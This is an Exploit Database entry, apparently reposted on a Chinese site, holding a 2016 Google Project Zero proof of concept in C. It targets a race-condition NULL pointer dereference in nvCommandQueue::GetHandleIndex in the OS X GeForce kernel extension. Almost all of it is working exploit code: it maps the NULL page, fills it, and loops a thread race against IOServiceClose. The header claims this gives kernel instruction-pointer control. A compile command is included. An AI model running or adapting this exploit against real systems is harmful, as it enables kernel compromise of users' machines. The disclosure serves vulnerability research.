Apple Mac OSX Kernel – Null Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2016-06-10
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/39920/

• /*
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784
  
  The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
  
  We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
  
  By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
  
  tested on OS X 10.11.4 (15E65) MacBookPro 10,1
  */
  
  // ianbeer
  
  // clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0
  
  /*
  OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext
  
  The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it.
  
  We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there.
  
  By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.
  
  tested on OS X 10.11.4 (15E65) MacBookPro 10,1
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  
  #include <IOKit/IOKitLib.h>
  
  #include <libkern/OSAtomic.h>
  
  #include <mach/thread_act.h>
  
  #include <pthread.h>
  
  #include <mach/mach.h>
  #include <mach/vm_map.h>
  #include <sys/mman.h>
  
  unsigned int selector = 0;
  
  uint64_t inputScalar[16];
  size_t inputScalarCnt = 0;
  
  uint8_t inputStruct[40960];
  size_t inputStructCnt = 0; 
  
  uint64_t outputScalar[16] = {0};
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[40960] = {0};
  size_t outputStructCnt = 0;
  
  io_connect_t global_conn = MACH_PORT_NULL;
  
  void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0x100; // GetHandleData
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;
  }
  
  void make_iokit_call(){
  IOConnectCallMethod(
  global_conn,
  selector,
  inputScalar,
  inputScalarCnt,
  inputStruct,
  inputStructCnt,
  outputScalar,
  &outputScalarCnt,
  outputStruct,
  &outputStructCnt);
  }
  
  OSSpinLock lock = OS_SPINLOCK_INIT;
  
  void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
  got_it = OSSpinLockTry(&lock);
  }
  
  // usleep(1);
  
  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
  }
  
  mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;
  
  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }
  
  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }
  
  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);
  
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }
  
  printf("got userclient connection: %x\n", conn);
  
  return conn;
  }
  
  void poc() {
  OSSpinLockLock(&lock);
  
  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);
  
  
  mach_port_t conn = get_user_client("nvAccelerator", 9); //nvCommandQueue
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
  }
  
  int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
  printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
  if (err == KERN_INVALID_ADDRESS){
  printf("invalid address\n");
  }
  if (err == KERN_NO_SPACE){
  printf("no space\n");
  }
  printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
  np[i] = '\x41';
  }
  
  for (;;) {
  poc();
  }
  
  return 0;
  }